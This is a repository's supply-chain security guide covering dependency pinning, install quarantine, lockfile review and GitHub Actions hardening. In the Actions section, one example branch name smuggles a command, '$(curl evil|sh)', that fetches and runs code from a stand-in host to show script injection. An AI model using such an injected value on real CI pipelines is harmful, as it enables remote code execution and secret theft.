Security
Security — Supply-Chain Posture
Section titled “Security — Supply-Chain Posture”TL;DR: Every dependency is exact-pinned and quarantined for 7 days before install; version ranges exist only as CVE floor-pins in pnpm-workspace.yaml; GitHub Actions are SHA-pinned with least-privilege tokens; deploy credentials live in org-level secrets that Dependabot PRs never receive.
Why this posture exists
Section titled “Why this posture exists”The May 2026 npm supply-chain campaign (“Mini Shai-Hulud”, CVE-2026-45321 / GHSA-g7cv-rxg3-hmpx) published dozens of malicious @tanstack/* Router/Start versions. Scanners flagged them within minutes — but any fresh install inside that window resolved them. This repo was audited and found clean: it depends on @tanstack/react-query only, which was never compromised. Everything below is precautionary hardening, not breach remediation.
A floating range (^/~) plus a regenerated lockfile is the exact mechanism such campaigns exploit: the install resolves a version published seconds earlier, before anyone has looked at it.
Dependency pinning policy (the rule)
Section titled “Dependency pinning policy (the rule)”Every entry in dependencies / devDependencies / optionalDependencies is an exact, registry-resolved version. Forbidden: ^ and ~ ranges, latest, and github: / git+ / git: specifiers. peerDependencies are exempt — ranges are correct there.
Enforcement points:
scripts/check-package-policy.mjs— pre-commit (Husky + lint-staged) rejects any stagedpackage.jsonthat violates the rule.savePrefix: ""inpnpm-workspace.yaml— a plainpnpm add <pkg>writes an exact pin by default.- Human-merged Dependabot PRs only (auto-merge off) — see DEPENDENCY_UPDATES.md.
The one exception: pnpm-workspace.yaml overrides may use version ranges, and only as CVE floor-pins (>=<patched-version>, optionally ceilinged below the next major when the majors are untested). Floors let future security patches flow through while making the vulnerable range unresolvable anywhere in the tree. Every override carries an inline comment naming the advisory and reason — keep that discipline. Don’t convert floors to exact pins.
Install-time hardening (pnpm-workspace.yaml)
Section titled “Install-time hardening (pnpm-workspace.yaml)”| Knob | What it does |
|---|---|
minimumReleaseAge + minimumReleaseAgeStrict | Publication quarantine — pnpm install refuses versions younger than the window (7 days, aligned with Dependabot’s cooldown). Urgent-patch bypass protocol: DEPENDENCY_UPDATES.md. |
minimumReleaseAgeExclude | Exact-version-pinned bypasses, each with a reviewed-by/date comment. Never exclude a bare package name — the next release must face the quarantine again. |
strictDepBuilds + allowBuilds | Lifecycle scripts are blocked unless allowlisted; an unapproved build script is a hard install failure, not a silent skip. Add a package only when install hard-fails on it AND the script is legitimate (e.g. workerd arrives transitively at deploy time when wrangler installs). |
pmOnFail: error | Any pnpm version other than package.json → packageManager hard-fails instead of proceeding. |
Lockfile review discipline
Section titled “Lockfile review discipline”- Review the
pnpm-lock.yamldiff on every PR. New package names appearing under an unrelated bump are the #1 worm signature. - A single-dep bump that adds more than a handful of new lockfile packages → stop and audit the diff before committing.
pnpm why <pkg>traces which dependent pulled a transitive.
Advisory response runbook
Section titled “Advisory response runbook”- Advisory hits a transitive → add a floor-pin override (
<pkg>: ">=<patched>") topnpm-workspace.yamlfirst; it substitutes tree-wide immediately. - Bump the direct dependency once a verified-clean release exists; the override stays as the permanent floor.
- Dependabot security PRs arrive individually and immediately (they skip cooldown and grouping) — highest merge priority after review.
GitHub Actions hardening rules
Section titled “GitHub Actions hardening rules”- Never interpolate
${{ }}inside arun:block. Bind untrusted context (branch names, PR titles, anything user-influenced) to step-levelenv:and reference the shell variable. A branch named$(curl evil|sh)executes otherwise. - Top-level least-privilege
permissions:on every workflow; per-job blocks escalate only where needed. - SHA-pin every action (
uses: org/action@<40-char-sha> # vN). Dependabot’s github-actions PRs flag SHA changes but do NOT validate them — reviewing the action’s commit diff before merge IS the control, especially for non-actions/*orgs. - No third-party personal-account action may handle deploy credentials. Only first-party actions (
actions/*,cloudflare/*,anthropics/*,pnpm/*) or inline CLI calls touch secrets. This is why the oldcleanup.yml(a personal-account action holdingCLOUDFLARE_API_TOKEN) was removed outright rather than SHA-pinned — do not restore it. - CI installs run
pnpm install --frozen-lockfile; the lifecycle-script gate is theallowBuildsallowlist above. docs-maintainer.ymlis the highest-residual-surface workflow (a bot withcontents: writepushing to PR branches) — changes to it get extra scrutiny.
Secrets topology & CI failure triage
Section titled “Secrets topology & CI failure triage”CLOUDFLARE_API_TOKEN/CLOUDFLARE_ACCOUNT_IDare org-level Actions secrets — invisible at repo scope (gh secret listwon’t show them; direct API GETs return 404 for org members).CLOUDFLARE_PROJECT_NAMEandVITE_*are repo variables: they ship in the public bundle by design and are not secrets.- Dependabot-authored PR runs receive no repo/org secrets (GitHub keeps a separate, empty secret store for them). The “Deploy to Cloudflare Pages” check therefore always fails on Dependabot PRs — expected, not a regression. Only Install / Test / Build failures on those PRs are real.
- Wrangler auth failures are self-triaging — two distinct messages:
- “it’s necessary to set a CLOUDFLARE_API_TOKEN environment variable” → token absent (the secret was never injected into this run — e.g. the Dependabot case above).
- “Authentication error [code: 10000]” + “custom API token set in an environment variable” → token present but rejected — the org secret is expired / rotated / mis-scoped. Fix is owner-side: issue a Cloudflare token with
Account → Cloudflare Pages → Editon the right account and update the org secret. Production and preview deploys share this token — both are blocked until it’s fixed.
Key files
Section titled “Key files”scripts/check-package-policy.mjs— exact-pin pre-commit gatepnpm-workspace.yaml— quarantine, build-script allowlist, CVE floor-pin overrides.github/dependabot.yml— monthly grouped routine PRs, immediate security PRs, 7-day cooldown- DEPENDENCY_UPDATES.md — the operational runbook (lanes, verification commands, quarantine bypass)